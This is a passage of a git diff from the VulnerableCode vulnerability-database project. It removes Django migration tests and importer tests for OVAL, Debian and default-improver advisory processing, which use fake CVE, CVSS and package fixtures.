"0032_vulnerabilityseverity_merge_cvss_score_and_vector" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - VulnerabilitySeverity = apps.get_model("vulnerabilities", "VulnerabilitySeverity") - VulnerabilityReference = apps.get_model("vulnerabilities", "VulnerabilityReference") - self.v1 = VulnerabilityReference.objects.create( - id=1, - reference_id="fake-reference_id1", - url="fake-url1", - ) - self.v1.save() - - self.severities = [ - # no matching vector: should stay as is - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV2.identifier, - value="8.3", - reference_id=1, - ), - # no matching score: score should be computed - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="AV:N/AC:H/Au:N/C:P/I:P/A:P", - reference_id=1, - ), - # pair of score/vector: should be merged - VulnerabilitySeverity.objects.create( - scoring_system=severity_systems.CVSSV2.identifier, - value="7.5", - reference_id=1, - ), - VulnerabilitySeverity.objects.create( - scoring_system="cvssv2_vector", - value="AV:N/AC:L/Au:N/C:P/I:P/A:P", - reference_id=1, - ), - ] - - for severity in self.severities: - severity.save() - - def test_merge_rows(self): - # using get_model to avoid circular import - VulnerabilitySeverity = self.apps.get_model("vulnerabilities", "VulnerabilitySeverity") - - severities = list( - VulnerabilitySeverity.objects.values( - "reference_id", - "scoring_system", - "value", - "scoring_elements", - ).all() - ) - - expected = [ - { - "reference_id": 1, - "scoring_elements": "AV:N/AC:H/Au:N/C:P/I:P/A:P", - "scoring_system": "cvssv2", - "value": "5.1", - }, - { - "reference_id": 1, - "scoring_elements": "AV:N/AC:L/Au:N/C:P/I:P/A:P", - "scoring_system": "cvssv2", - "value": "7.5", - }, - { - "reference_id": 1, - "scoring_elements": None, - "scoring_system": "cvssv2", - "value": "8.3", - }, - ] - - assert severities == expected - - -class RemoveCorrupteAdvisories(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0037_advisory_weaknesses_weakness" - migrate_to = "0038_remove_corrupted_advisories_with_incorrect_refs_and_severity" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - Advisory = apps.get_model("vulnerabilities", "Advisory") - - corrupted_advisory = Advisory.objects.create( - aliases=["CVE-2020-1234"], - summary="Corrupted advisory", - references=[ - { - "reference_id": "cpe:2.3:a:f5:nginx:1.16.1:*:*:*:*:*:*:*", - "url": "", - "severity": [ - { - "scoring_system": "cvssv3_vector", - "value": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", - } - ], - } - ], - date_collected="2020-01-01", - date_published="2020-01-01", - ) - corrupted_advisory.save() - - def test_removal_of_corrupted_advisory(self): - # using get_model to avoid circular import - Advisory = self.apps.get_model("vulnerabilities", "Advisory") - Advisory.objects.all().count() == 0 - - -class RemoveVulnerabilitiesWithEmptyAliases(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0040_remove_advisory_date_improved_advisory_date_imported" - migrate_to = "0041_remove_vulns_with_empty_aliases" - - def setUpBeforeMigration(self, apps): - # using get_model to avoid circular import - Vulnerability = apps.get_model("vulnerabilities", "Vulnerability") - Alias = apps.get_model("vulnerabilities", "Alias") - - vuln = Vulnerability.objects.create( - summary="Corrupted vuln", - ) - vuln.save() - vuln = Vulnerability.objects.create( - summary="vuln", - ) - vuln.save() - Alias.objects.create(alias="CVE-123", vulnerability=vuln) - - def test_removal_of_corrupted_vulns(self): - # using get_model to avoid circular import - Vulnerability = self.apps.get_model("vulnerabilities", "Vulnerability") - Vulnerability.objects.all().count() == 1 - - -class TestRemoveDupedPurlsWithSameQualifiers(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0043_alter_advisory_unique_together_advisory_url_and_more" - migrate_to = "0045_remove_duplicated_purls_with_same_qualifiers" - - def setUpBeforeMigration(self, apps): - Package = apps.get_model("vulnerabilities", "Package") - self.pkg1 = Package.objects.create(type="nginx", name="nginx", qualifiers={"os": "windows"}) - - pkg2 = Package.objects.create(type="nginx", name="nginx", qualifiers="os=windows") - - def test_removal_of_duped_purls(self): - Package = apps.get_model("vulnerabilities", "Package") - assert Package.objects.count() == 1 - - -class TestUpdateNpmPypaAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0063_alter_packagechangelog_software_version_and_more" - migrate_to = "0064_update_npm_pypa_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="npm", name="dummy"), - affected_version_range=VersionRange.from_string("vers:npm/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - advisory_data2 = AdvisoryData( - aliases=["CVE-2020-1337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="dummy"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-1337")], - date_published=timezone.now(), - url="https://test2.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.npm.NpmImporter", - date_collected=timezone.now(), - ) - - adv2 = Advisory.objects.create( - aliases=self.advisory_data2.aliases, - summary=self.advisory_data2.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data2.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data2.references], - url=self.advisory_data2.url, - created_by="vulnerabilities.importers.pypa.PyPaImporter", - date_collected=timezone.now(), - ) - - def test_update_npm_pypa_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert adv.filter(created_by="vulnerabilities.importers.pypa.PyPaImporter").count() == 0 - assert adv.filter(created_by="pypa_importer").count() == 1 - - assert adv.filter(created_by="vulnerabilities.importers.npm.NpmImporter").count() == 0 - assert adv.filter(created_by="npm_importer").count() == 1 - - -class TestUpdateNginxAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0064_update_npm_pypa_advisory_created_by" - migrate_to = "0065_update_nginx_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="nginx", name="nginx"), - affected_version_range=VersionRange.from_string("vers:nginx/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.nginx.NginxImporter", - date_collected=timezone.now(), - ) - - def test_update_nginx_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert adv.filter(created_by="vulnerabilities.importers.nginx.NginxImporter").count() == 0 - assert adv.filter(created_by="nginx_importer").count() == 1 - - -class TestUpdateGitLabAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0065_update_nginx_advisory_created_by" - migrate_to = "0066_update_gitlab_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="foobar"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.gitlab.GitLabAPIImporter", - date_collected=timezone.now(), - ) - - def test_update_gitlab_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert ( - adv.filter(created_by="vulnerabilities.importers.gitlab.GitLabAPIImporter").count() == 0 - ) - assert adv.filter(created_by="gitlab_importer").count() == 1 - - -class TestUpdateGitHubAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0066_update_gitlab_advisory_created_by" - migrate_to = "0067_update_github_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="foobar"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.github.GitHubAPIImporter", - date_collected=timezone.now(), - ) - - def test_update_github_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert ( - adv.filter(created_by="vulnerabilities.importers.github.GitHubAPIImporter").count() == 0 - ) - assert adv.filter(created_by="github_importer").count() == 1 - - -class TestUpdateNVDAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0067_update_github_advisory_created_by" - migrate_to = "0068_update_nvd_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="foobar"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.nvd.NVDImporter", - date_collected=timezone.now(), - ) - - def test_update_nvd_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert adv.filter(created_by="vulnerabilities.importers.nvd.NVDImporter").count() == 0 - assert adv.filter(created_by="nvd_importer").count() == 1 - - -class TestUpdatePysecAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0073_delete_packagerelatedvulnerability" - migrate_to = "0074_update_pysec_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="foobar"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.pysec.PyPIImporter", - date_collected=timezone.now(), - ) - - def test_update_pysec_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert adv.filter(created_by="vulnerabilities.importers.pysec.PyPIImporter").count() == 0 - assert adv.filter(created_by="pysec_importer").count() == 1 - - -class TestUpdateAlpineAdvisoryCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0086_codefix" - migrate_to = "0087_update_alpine_advisory_created_by" - - advisory_data1 = AdvisoryData( - aliases=["CVE-2020-13371337"], - summary="vulnerability description here", - affected_packages=[ - AffectedPackage( - package=PackageURL(type="pypi", name="foobar"), - affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), - ) - ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], - date_published=timezone.now(), - url="https://test.com", - ) - - def setUpBeforeMigration(self, apps): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv1 = Advisory.objects.create( - aliases=self.advisory_data1.aliases, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - url=self.advisory_data1.url, - created_by="vulnerabilities.importers.alpine_linux.AlpineImporter", - date_collected=timezone.now(), - ) - - def test_update_pysec_created_by_field(self): - Advisory = apps.get_model("vulnerabilities", "Advisory") - adv = Advisory.objects.all() - - assert ( - adv.filter(created_by="vulnerabilities.importers.alpine_linux.AlpineImporter").count() - == 0 - ) - assert adv.filter(created_by="alpine_linux_importer").count() == 1 - - -class TestFixAlpinePURLCreatedByField(TestMigrations): - app_name = "vulnerabilities" - migrate_from = "0087_update_alpine_advisory_created_by" - migrate_to = "0088_fix_alpine_purl_type" - - def setUpBeforeMigration(self, apps): - Package = apps.get_model("vulnerabilities", "Package") - purl = str( - PackageURL( - type="alpine", - namespace="", - name="curl", - version="7.83.0-r0", - qualifiers="arch=x86", - ) - ) - package1 = Package.objects.create( - **purl_to_dict(purl=purl), package_url=purl, plain_package_url=purl - ) - - def test_fix_alpine_purl(self): - Package = apps.get_model("vulnerabilities", "Package") - package = Package.objects.all() - - assert package.filter(type="alpine").count() == 0 - assert package.filter(type="apk").count() == 1 - - -class TestCodeCommitMigration(TestMigrations): - """ - Tests the migration that introduces the CodeCommit model - and adds new ManyToMany fields to ImpactedPackage ( affecting_commits, fixed_by_commits ). - """ - - app_name = "vulnerabilities" - migrate_from = "0102_alter_impactedpackage_affecting_vers_and_more" - migrate_to = "0103_codecommit_impactedpackage_affecting_commits_and_more" - - def setUpBeforeMigration(self, apps): - """ - Prepare old data before migration — this should be destroyed afterward. - """ - ImpactedPackage = apps.get_model("vulnerabilities", "ImpactedPackage") - AdvisoryV2 = apps.get_model("vulnerabilities", "AdvisoryV2") - - date = datetime.now() - adv = AdvisoryV2.objects.create( - unique_content_id="old_adv", - url="https://old.example.com", - summary="Old advisory", - date_collected=date, - advisory_id="old_adv", - avid="test_pipeline/old_adv", - datasource_id="test_pipeline", - # pipeline_id="test_pipeline_v2", - ) - ImpactedPackage.objects.create(advisory=adv, base_purl="pkg:pypi/oldpkg") - - def test_unique_constraint_on_commit_hash_and_vcs_url(self): - """Ensure the (commit_hash, vcs_url) uniqueness constraint works.""" - CodeCommit = self.apps.get_model("vulnerabilities", "CodeCommit") - - CodeCommit.objects.create( - commit_hash="abc123", - vcs_url="https://github.com/example/repo.git", - commit_rank="0", - commit_author="tester", - commit_message="message 1", - commit_date=datetime.now(), - ) - - with self.assertRaises(IntegrityError): - CodeCommit.objects.create( - commit_hash="abc123", - vcs_url="https://github.com/example/repo.git", - ) - - def test_m2m_relationships_work(self): - """Ensure that the new M2M relationships can store data.""" - ImpactedPackage = self.apps.get_model("vulnerabilities", "ImpactedPackage") - AdvisoryV2 = self.apps.get_model("vulnerabilities", "AdvisoryV2") - CodeCommit = self.apps.get_model("vulnerabilities", "CodeCommit") - - adv = AdvisoryV2.objects.get( - unique_content_id="old_adv", - advisory_id="old_adv", - avid="test_pipeline/old_adv", - datasource_id="test_pipeline", - ) - - impacted = ImpactedPackage.objects.get(advisory=adv, base_purl="pkg:pypi/oldpkg") - commit1 = CodeCommit.objects.create( - commit_hash="def456", - vcs_url="https://example.com/repo.git", - ) - commit2 = CodeCommit.objects.create( - commit_hash="eef456", - vcs_url="https://example.com/repo.git", - ) - - impacted.affecting_commits.add(commit1) - impacted.fixed_by_commits.add(commit2) - - self.assertIn(commit1, impacted.affecting_commits.all()) - self.assertIn(commit2, impacted.fixed_by_commits.all()) +# TestCodeCommitMigration removed: CodeCommit was deleted in 0105, and migration +# 0145 irreversibly drops V1 tables so reversing to 0102/0103 is no longer possible. class TestLatestAdvisoryV2Migration(TestMigrations): @@ -1425,6 +441,7 @@ def test_severity_value_cleaned(self): def test_advisory_content_id_recomputed(self): self.advisory1.refresh_from_db() + # Hash excludes url/advisory_id (compute_content_id_v2); severity value cleaned to "". self.assertEqual( self.advisory1.unique_content_id, "a15d4651cb05e3513c12263a11e34bd9103f68833cac8f7ffdbbd71b9cb4cf16", diff --git a/vulnerabilities/tests/test_data_source.py b/vulnerabilities/tests/test_data_source.py deleted file mode 100644 index 40eeb6b3f..000000000 --- a/vulnerabilities/tests/test_data_source.py +++ /dev/null @@ -1,163 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import os -import xml.etree.ElementTree as ET -from unittest.mock import MagicMock -from unittest.mock import patch - -import pytest -from fetchcode.vcs import VCSResponse -from packageurl import PackageURL - -from vulnerabilities.importer import Importer -from vulnerabilities.importer import OvalImporter -from vulnerabilities.importers.elixir_security import ElixirSecurityImporter -from vulnerabilities.importers.fireeye import FireyeImporter -from vulnerabilities.importers.gentoo import GentooImporter -from vulnerabilities.importers.github_osv import GithubOSVImporter -from vulnerabilities.importers.istio import IstioImporter -from vulnerabilities.importers.mozilla import MozillaImporter -from vulnerabilities.importers.retiredotnet import RetireDotnetImporter -from vulnerabilities.importers.ruby import RubyImporter -from vulnerabilities.oval_parser import OvalParser - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/") -TEST_DATA_01 = os.path.join(BASE_DIR, "test_data/suse_oval") - - -def load_oval_data(): - etrees_of_oval = {} - for f in os.listdir(TEST_DATA): - if f.endswith("oval_data.xml"): - path = os.path.join(TEST_DATA, f) - provider = f.split("_")[0] - etrees_of_oval[provider] = ET.parse(path) - return etrees_of_oval - - -class MockOvalImporter(OvalImporter): - spdx_license_expression = "FOO-BAR" - - -class MockGitImporter(Importer): - spdx_license_expression = "FOO-BAR" - importer_name = "Mock Git Importer" - - -def test_create_purl(): - purl1 = PackageURL(name="ffmpeg", type="test") - - assert purl1 == MockOvalImporter().create_purl(pkg_name="ffmpeg", pkg_data={"type": "test"}) - - purl2 = PackageURL( - name="notepad", - type="example", - namespace="ns", - qualifiers={"distro": "sample"}, - subpath="root", - ) - assert purl2 == MockOvalImporter().create_purl( - pkg_name="notepad", - pkg_data={ - "namespace": "ns", - "qualifiers": {"distro": "sample"}, - "subpath": "root", - "type": "example", - }, - ) - - -def test__collect_pkgs(): - xmls = load_oval_data() - - expected_suse_pkgs = {"cacti-spine", "apache2-mod_perl", "cacti", "apache2-mod_perl-devel"} - expected_ubuntu_pkgs = {"potrace", "tor"} - - translations = {"less than": "<"} - - found_suse_pkgs = MockOvalImporter()._collect_pkgs( - OvalParser(translations, xmls["suse"]).get_data() - ) - - found_ubuntu_pkgs = MockOvalImporter()._collect_pkgs( - OvalParser(translations, xmls["ubuntu"]).get_data() - ) - - assert found_suse_pkgs == expected_suse_pkgs - assert found_ubuntu_pkgs == expected_ubuntu_pkgs - - -@patch("vulnerabilities.importer.fetch_via_vcs") -def test_git_importer(mock_clone): - mock_clone.return_value = VCSResponse( - dest_dir="test", - vcs_type="git", - domain="test", - ) - git_importer = MockGitImporter() - git_importer.clone("test-url") == VCSResponse( - dest_dir="test", - vcs_type="git", - domain="test", - ) - - -@pytest.mark.parametrize( - "git_importer", - [ - ElixirSecurityImporter, - FireyeImporter, - GentooImporter, - IstioImporter, - MozillaImporter, - RetireDotnetImporter, - RubyImporter, - GithubOSVImporter, - ], -) -def test_git_importer_clone(git_importer): - mock_function = MagicMock( - return_value=VCSResponse( - dest_dir="test", - vcs_type="git", - domain="test", - ) - ) - with patch("vulnerabilities.importer.fetch_via_vcs", mock_function) as mock_fetch: - with patch.object(VCSResponse, "delete") as mock_delete: - list(git_importer().advisory_data()) - mock_fetch.assert_called_once() - mock_delete.assert_called_once() - - -# Here we use a modified copy of org.opensuse.CVE-2008-5679.xml -- the test versions are modified to illustrate sort order. -def test_ovaltest_sorting(): - xml_doc = ET.parse( - os.path.join(TEST_DATA_01, "org.opensuse.CVE-2008-5679-modified-versions.xml") - ) - translations = {"less than": "<", "equals": "=", "greater than or equal": ">="} - parsed_oval = OvalParser(translations, xml_doc) - - # Get the list of all tests and check the total number of tests. - get_all_tests = parsed_oval.oval_document.getTests() - - # Check the order of the four tests in the sorted `get_all_tests` list. (Testing suggests that the - # original list of tests, `get_all_tests`, is unsorted and is ordered in the same order as the test - # elements appear in the .xml file.) - sorted_tests = sorted(get_all_tests) - test_results = [(test.getId(), test.getVersion()) for test in sorted_tests] - expected = [ - ("oval:org.opensuse.security:tst:2009030401", "1"), - ("oval:org.opensuse.security:tst:2009030403", "4"), - ("oval:org.opensuse.security:tst:2009030402", "9"), - ("oval:org.opensuse.security:tst:2009030400", "11"), - ] - assert test_results == expected diff --git a/vulnerabilities/tests/test_debian.py b/vulnerabilities/tests/test_debian.py deleted file mode 100644 index add2ea443..000000000 --- a/vulnerabilities/tests/test_debian.py +++ /dev/null @@ -1,93 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# -import json -import os -import re -from unittest.mock import patch - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.debian import DebianImporter -from vulnerabilities.importers.debian import get_cwe_from_debian_advisory -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import DebianBasicImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data") - - -@patch("vulnerabilities.importers.debian.DebianImporter.get_response") -def test_debian_importer(mock_response): - with open(os.path.join(TEST_DATA, "debian.json")) as f: - mock_response.return_value = json.load(f) - - expected_file = os.path.join(TEST_DATA, f"debian-expected.json") - result = [data.to_dict() for data in list(DebianImporter().advisory_data())] - util_tests.check_results_against_json(result, expected_file) - - -@patch("vulnerabilities.improvers.valid_versions.DebianBasicImprover.get_package_versions") -def test_debian_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"debian-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [DebianBasicImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"debian-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_get_cwe_from_debian_advisories(): - record = { - "description": "Legion of the Bouncy Castle Legion of the Bouncy Castle Java Cryptography APIs 1.58 up to but not including 1.60 contains a CWE-580: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') vulnerability in XMSS/XMSS^MT private key deserialization that can result in Deserializing an XMSS/XMSS^MT private key can result in the execution of unexpected code. This attack appear to be exploitable via A handcrafted private key can include references to unexpected classes which will be picked up from the class path for the executing application. This vulnerability appears to have been fixed in 1.60 and later.", - "scope": "local", - "releases": { - "bookworm": { - "status": "resolved", - "repositories": {"bookworm": "1.72-2"}, - "fixed_version": "1.60-1", - "urgency": "low", - }, - "bullseye": { - "status": "resolved", - "repositories": {"bullseye": "1.68-2"}, - "fixed_version": "1.60-1", - "urgency": "low", - }, - "sid": { - "status": "resolved", - "repositories": {"sid": "1.77-1"}, - "fixed_version": "1.60-1", - "urgency": "low", - }, - "trixie": { - "status": "resolved", - "repositories": {"trixie": "1.77-1"}, - "fixed_version": "1.60-1", - "urgency": "low", - }, - }, - } - result = get_cwe_from_debian_advisory(record) - assert result == [580] diff --git a/vulnerabilities/tests/test_debian_oval.py b/vulnerabilities/tests/test_debian_oval.py deleted file mode 100644 index e6c9f9eef..000000000 --- a/vulnerabilities/tests/test_debian_oval.py +++ /dev/null @@ -1,60 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -import xml.etree.ElementTree as ET -from unittest.mock import patch - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.debian_oval import DebianOvalImporter -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import DebianOvalImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/") - - -def test_debian_oval_importer(): - importer = DebianOvalImporter() - advsiories = importer.get_data_from_xml_doc( - ET.parse(os.path.join(TEST_DATA, "debian_oval_data.xml")), - {"type": "deb", "namespace": "debian", "qualifiers": {"distro": "wheezy"}}, - ) - expected_file = os.path.join(TEST_DATA, f"debian-oval-expected.json") - util_tests.check_results_against_json( - [advisory.to_dict() for advisory in advsiories], expected_file - ) - - -@patch("vulnerabilities.improvers.valid_versions.DebianOvalImprover.get_package_versions") -def test_debian_oval_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"debian-oval-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [DebianOvalImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"debian-oval-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_default_improver.py b/vulnerabilities/tests/test_default_improver.py deleted file mode 100644 index 63408a522..000000000 --- a/vulnerabilities/tests/test_default_improver.py +++ /dev/null @@ -1,165 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os - -from packageurl import PackageURL - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import Reference -from vulnerabilities.improver import Inference -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.default import get_exact_purls -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data", "default_improver") - - -def test_default_improver_with_no_data(): - """ - Test that DefaultImprover.get_inferences() returns an empty list when given no data - """ - default_improver = DefaultImprover() - result = list(default_improver.get_inferences(None)) - expected = [] - assert result == expected - - -def test_default_improver_with_empty_affected_packages(): - """ - Test that DefaultImprover.get_inferences() returns an empty list when given an advisory with no affected packages - """ - advisory_data = AdvisoryData( - aliases=["CVE-2020-1234"], - summary="Test summary", - references=[ - Reference( - url="https://www.example.com/", - ) - ], - affected_packages=[], - ) - default_improver = DefaultImprover() - expected_inference = Inference( - vulnerability_id=None, - aliases=["CVE-2020-1234"], - confidence=100, - summary="Test summary", - affected_purls=[], - fixed_purl=None, - references=[Reference(reference_id="", url="https://www.example.com/", severities=[])], - ) - expected = [expected_inference] - result = list(default_improver.get_inferences(advisory_data)) - assert result == expected - - -def test_default_improver_with_affected_packages(): - """ - Test that DefaultImprover.get_inferences() returns an empty list when given an advisory with no affected packages - """ - advisory_data = AdvisoryData( - aliases=["CVE-2020-1234"], - summary="Test summary", - references=[ - Reference( - url="https://www.example.com/", - ) - ], - affected_packages=[ - AffectedPackage( - package=PackageURL( - name="python", - namespace="rpms", - type="rpm", - ), - affected_version_range=None, - fixed_version="3.7.0", - ) - ], - ) - default_improver = DefaultImprover() - expected_inference = Inference( - vulnerability_id=None, - aliases=["CVE-2020-1234"], - confidence=100, - summary="Test summary", - affected_purls=[], - fixed_purl=PackageURL( 